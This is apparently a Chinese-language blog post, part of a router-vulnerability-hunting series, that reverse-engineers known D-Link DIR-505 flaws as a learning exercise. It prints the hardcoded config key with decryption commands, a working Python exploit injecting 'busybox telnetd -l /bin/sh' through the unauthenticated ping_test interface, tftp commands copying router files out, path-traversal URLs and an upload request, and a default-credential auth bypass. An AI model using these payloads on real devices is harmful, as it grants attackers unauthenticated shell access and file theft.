揭秘家用路由器0day漏洞挖掘-week3

badmonkey 2021年09月06日 37次浏览

Dir505 漏洞分析

Weak configuration file encryption

根据漏洞报告的描述,备份的config文件是使用硬编码加密的,同时可以根据备份的config文件恢复系统,所以可以构造恶意的config文件,然后自己加密并用恶意的config文件恢复系统。

漏洞报告公布了硬编码的密钥sw5-superman,通过搜索字符串定位到具体的处理逻辑

$ grep -ri "sw5-superman"  
匹配到二进制文件 usr/bin/my_cgi.cgi

使用ida分析my_cgi.cgi,同样的先搜寻字符串,定位到函数save_confupgrade_conf

image-20210905212547541

根据函数名可以猜测,save_conf是用于保存当前的config配置,upgrade_conf则是根据用户的config恢复系统配置。

save_conf

首先分析save_confida识别system函数时,会出现问题,只能识别第一个参数,后面的参数无法识别,需要手动更改一下system函数的type

image-20210905212858635

将其改为int system(const char *command,...),参数类型为变参,修复后如下图所示

image-20210905213205689

首先根据路由器运行的模式,确定v8的值,然后调用ccrypt加密/www/dest_config,密钥为sw5-superman,然后获取config_ver并赋值给v1,最后调用imghdr和一系列的参数处理加密后的/www/dest_config。不过仍然存在几个疑惑的点

  1. 如何确定which_mode的取值?
  2. config_ver的具体值是什么?
  3. imghdr操作的作用,以及对应参数的意义?
  4. 如何触发my_cgi.cgisave_conf函数?

触发save_conf

笔者在思考这几个疑点时,受到了一定的阻碍,最后是先找到了save_conf的触发点,理清了交互逻辑后,解决了这几个疑点。那么如何寻找触发点呢?由于笔者接触路由器的web服务比较少,不理解web接口和二进制程序是如何联系的。但是通过仔细阅读了漏洞公告,发现公告中提到了backup即备份功能,于是登录路由器的后台寻找有关于备份的相关功能,最后通过备份功能找到了对应的触发点。

image-20210905214810292

F12审查一下源码,发现是通过js发起网络请求

image-20210905215047193

网络请求的js如下:

function save_to_disk(http_req){
    my_xml = http_req.responseXML;
    if (check_user_info(my_xml.getElementsByTagName("redirect_page")[0])){									
        location.href = 'config_whp';
        disable_all_btn(false);					
    }				
}	
function save_configure(){
    var xml_request = new XMLRequest(save_to_disk);		
    var para = "request=save_conf";
    disable_all_btn(true);						
    xml_request.exec_cgi(para);	
}

不是很懂这里参数request=save_conf的处理逻辑,猜测是通过request的值,访问对应的my_cgi.cgi的同名函数,js脚本中还存在如下的几个请求调用,尝试在my_cgi.cgi中寻找对应的函数。

request=clear_lang_pack 存在对应的函数
request=restore_to_default 不存在
request=restart_device 不存在

所以实际的web请求和cgi的函数调用仍然不清楚,有时间进一步研究一下。

确定which_mode

通过后端的备份功能,可以获得一份config_whp文件,根据漏洞公告的方式解密此文件.

sudo apt-get install ccrypt  # 安装ccrypt
dd if=config_whp of=config_no_head bs=84 skip=1 # 根据文件头的格式处理config_whp
ccrypt -d -K sw5-superman config_no_head # 解密config

然后就可以得到config的详细信息,其中具有几个关键信息

user_level=0
user_user_pwd=
user_user_name=user
admin_level=1
admin_user_pwd=
admin_user_name=admin
nvram_major=1
nvram_minor=01

理论上可以通过修改管理员的密码,然后重新加密,使用imghdr处理,然后通过上传config文件,恢复系统,并修改管理员的密码。

imghdr

那么imghdr是什么东西呢?google了一番,发现查到的都是诸如图像格式识别的东西,和这里的imghdr没有丝毫的联系,于是再次检索了一下字符串,发现了系统里存在imghdr这个工具。

$ grep -ri "imghdr"      
匹配到二进制文件 lib/libputil.so
匹配到二进制文件 usr/bin/my_cgi.cgi
匹配到二进制文件 usr/bin/imghdr

于是可以使用qemu跑一下这个imghdr看一下具体的用法

$ qemu-mips -L . ./usr/bin/imghdr                                                                 
./usr/bin/imghdr: cache '/etc/ld.so.cache' is corrupt
Usage: imghdr <src> <dest> <model:19> <signature:29> <fw_reg:3> <fw_ver:11>

结合此前ida反编译的结果,不难分析出通过get_config_ver(&v1)得到的应该是固件的版本。

确定config_ver

由于my_cgi.cgi中的get_config_ver是一个外部函数调用,需要寻找到对应的动态链接库,同样通过grep的方式寻找到动态链接库

lib/libeutil.so,ida分析,首先发现了几个熟悉的字符串db_versionmajorminor,然后根据已经得到的config文件猜测v2

nvram_major对应的数值,而v3则是nvram_minor对应的值。

image-20210905222433239

实际上通过01editor打开config_whp发现文件头中确实存在1.01的字样。

h4YK8s.png

疑点

最后通过修改config中的管理员密码的值,然后通过ccryptimghdr生成了一份伪造的config文件,但是传到后台恢复时,却无法顺利的恢复。

upgrade_conf

upgrade的逻辑也较为简单,将用户的文件保存到/tmp/upload_config然后解密,不过如何保存,以及如何检验nvram_version并没有逆清楚。

h4GVQP.png

Command Injection

根据漏洞报告的公告,看到在System_Check.htm页面存在ping_test的接口,显然这里会执行系统调用。不过有意思的是,System_Check.htm这个页面是隐藏的,无法通过后台直接找到,需要通过url直接访问。那么是否存在其他的隐藏界面呢?是否存在漏洞?其实可以通过此处的命令注入(假设存在)开启路由器的telnet后,把www目录下的内容扒下来分析其他隐藏的htm

h4GneS.png

注入点

通过分析请求包,定位到my_cgi.cgi中的ping_test

h4GAzt.png

发现用户的输入是通过格式化字符串的方式拼接到一起的,没有进行过滤,可以通过;执行多条指令

h4GZsf.png

最致命的一点是,ping_test这个接口即使没有用户的cookie也可以访问,所以即使不知道账户的密码,也可以打这个接口

import requests
import sys
try:
    target = sys.argv[1]
except:
    exit(1)


url = "http://%s/my_cgi.cgi"%target

payload = "request=ping_test&ip_addr=127.0.0.1;busybox telnetd -l /bin/sh;"
headers = {
  'accept': '*/*',
  'accept-encoding': 'gzip, deflate',
  'accept-language': 'zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7',
  'content-length': '35',
  'content-type': 'application/x-www-form-urlencoded',
  'host': '192.168.0.1',
  'origin': 'http://192.168.0.1',
  'proxy-connection': 'keep-alive',
  'referer': 'http://192.168.0.1/System_Check.htm',
  'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36'
}

response = requests.request("POST", url, headers=headers, data = payload)

print(response.text.encode('utf8'))

文件传输

大多数的路由器文件系统都是只读文件系统,无法修改,只有/tmp可以写,因此大多数的时候用户传输的数据和文件都是保存在/tmp目录下的。利用的时候也是先在/tmp目录下伪造需要的配置文件或者恶意文件,然后通过mount -o或者mount -l/tmp挂载到指定的目录上。在获取到了路由器的telnet后,可以在本机搭建一个simplehttpserver然后通过wget将文件传输到路由器上,那么如何将路由器上的文件下载到本地呢?笔者首先想到的时通过scp传输,但是大部分路由器又没有ssh,而scp是基于ssh的,因此放弃。检索后发现busybox自带tftp。因此考虑在本机上配置tftp服务端,然后在路由器上使用tftp传输到本地。

windows tftp服务端 https://bitbucket.org/phjounin/tftpd64/downloads/

linux tftp服务端 https://www.huaweicloud.com/articles/555bc3f58697a6d21780837fa7d9a959.html

不过dir505上的busybox中的tftp只有下载功能没有上传功能,因此先传一个完整版的busybox上去,然后再用tftp下载文件

首先打包一下www,然后通过tftp传输文件,一下操作均在tmp目录下进行。

./busybox-mips tar -cvf www.tar /www/*
./busybox-mips tftp -p -r www.tar -l www.tar 192.168.0.101

Path traversal

存在两处路径穿越,第一处是列举目录时可以达到泄露目录信息的效果,第二处是文件上传时的目录穿越可以实现任意地址写(实际只能写tmp目录)。

第一处

http://192.168.0.1:8181/dws/api/ListFile?id=admin&tok=&volid=1&path=usb_dev/usb_A1/../../../../etc

第二处

http://192.168.0.1:8181/dws/api/UploadFile?0.640807398297802
POST
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="id"

badmonkey
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="tok"


------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="volid"

1
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="path"

usb_dev/usb_A1/../../../../../../../../../tmp/
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="filename"

1.txt
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="TimeZone"

8
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="TimeStamp"

1630916539
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="upload_source"

gui
------WebKitFormBoundarylOgjvOg8nuYnWjt6
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: text/plain

badmonkey
------WebKitFormBoundarylOgjvOg8nuYnWjt6--

路径穿越的洞都比较简单,大致逻辑就是scandir的方法支持解析.././,而且后端没有过滤,因此可以导致路径穿越。

h4GeL8.png

Other

其实还有两个洞,一个是默认用户guest/guest,另一个就是Content-type: multipart/form-data类型的请求不会鉴权,结合起来,就可以利用guest用户上传一个fake_config文件更改admin的密码。

h4Gudg.png

main中找到判断Content-Type的分支,相等则跳入无鉴权的部分,反之跳入content_length>0的分支进行鉴权以及一系列的其他操作。

参考连接

https://www.exploit-db.com/exploits/28184